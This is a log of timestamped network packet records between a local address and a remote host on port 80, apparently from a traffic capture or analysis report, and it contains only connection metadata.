Jan 25, 2023 21:04:28.476180077 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476243019 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476268053 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476267099 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476308107 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476319075 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476334095 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476356030 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476371050 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476381063 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476408958 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476418972 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476433992 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476457119 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476469994 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476485968 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476499081 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476516962 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476543903 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476563931 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476574898 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476605892 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476610899 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476667881 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476682901 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476712942 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476730108 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476761103 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476766109 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476840973 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476887941 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476938009 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476943016 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.476967096 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.476982117 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477010965 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477032900 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477054119 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477065086 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477087021 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477099895 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477117062 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477129936 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477145910 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477159977 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477175951 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477189064 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477205992 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477216005 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477241039 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477245092 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477284908 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477288008 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477325916 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477339029 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477356911 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477363110 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477387905 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477404118 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477418900 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477436066 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477458000 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477485895 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477498055 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477502108 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477536917 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477560043 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477567911 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477596045 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477598906 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477626085 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477627993 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477649927 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477658987 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477672100 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477686882 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477701902 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477715969 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.477731943 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.477758884 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.478523970 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.478574038 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.478590012 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.478622913 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.478625059 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.478656054 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.478672981 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.478708982 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.478713036 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.478763103 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.478786945 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.478821039 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.478833914 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.478851080 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.478863001 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.478879929 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.478894949 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.478909016 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.478919983 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.478951931 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.478954077 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.478992939 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.479012012 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.479027033 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.479037046 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.479058027 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.479072094 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.479088068 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.479104996 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.479134083 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.479151011 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.479192972 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.515356064 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.515691042 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553308964 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553349018 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553371906 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553391933 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553406954 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553419113 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553450108 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553468943 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553484917 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553523064 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553540945 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553567886 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553575039 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553618908 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553633928 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553642035 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553674936 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553680897 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553694010 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553704023 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553755999 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553757906 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553785086 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553800106 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553805113 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553833008 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553845882 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553868055 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553874969 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553899050 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553910971 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553940058 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553953886 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553961039 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.553976059 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.553983927 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554001093 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554027081 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554029942 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554055929 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554069042 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554085970 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554095984 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554116011 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554126024 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554147959 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554162025 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554187059 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554209948 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554231882 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554250956 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554261923 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554275036 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554301977 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554303885 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554342031 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554343939 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554377079 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554389000 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554409981 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554419041 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554450035 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554451942 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554471970 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554491043 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554508924 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554512978 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554541111 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554548025 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554565907 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554579973 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554594040 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554610968 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554624081 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554644108 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554675102 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554675102 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554677010 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554706097 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554737091 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554743052 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554778099 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554783106 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554807901 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554826975 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554830074 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554871082 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554883957 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554925919 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554929018 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554965973 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.554980993 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.554995060 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555012941 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555025101 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555046082 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555069923 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555073023 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555094957 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555118084 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555138111 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555141926 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555171967 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555192947 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555202007 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555224895 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555233955 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555253983 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555267096 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555288076 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555288076 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555308104 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555314064 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555330038 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555337906 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555352926 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555371046 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555373907 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555396080 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555397034 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555433035 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555435896 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555458069 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555470943 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555489063 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555490971 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555516005 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555529118 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555542946 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555565119 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555574894 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555597067 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555609941 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555632114 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555643082 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555665970 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555677891 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555691957 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555718899 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555721998 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555742979 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555747986 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555763960 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555773020 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555785894 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555795908 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555809021 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555819988 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555831909 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555845976 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555854082 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555867910 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555876970 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555887938 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555900097 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555915117 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555924892 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555939913 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555948973 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555964947 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555973053 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.555986881 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.555995941 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556010962 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556020021 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556034088 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556042910 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556065083 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556067944 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556087017 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556107998 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556112051 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556129932 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556133032 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556153059 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556164980 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556176901 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556189060 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556200027 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556210995 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556224108 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556233883 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556252003 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556257010 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556282997 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556282997 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556309938 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556313992 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556333065 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556334972 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556355953 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556359053 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556377888 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556380987 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556401014 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556405067 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556422949 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556428909 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556444883 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556451082 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556469917 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556473970 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556492090 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556497097 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556514025 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556521893 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556535959 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556545019 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556560040 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556569099 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556582928 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556592941 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556606054 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556618929 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556627989 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556641102 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556651115 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556672096 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556675911 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556694031 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556704044 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556716919 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556737900 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556740046 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556780100 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556780100 CET	49715	80	192.168.2.6	95.217.16.127
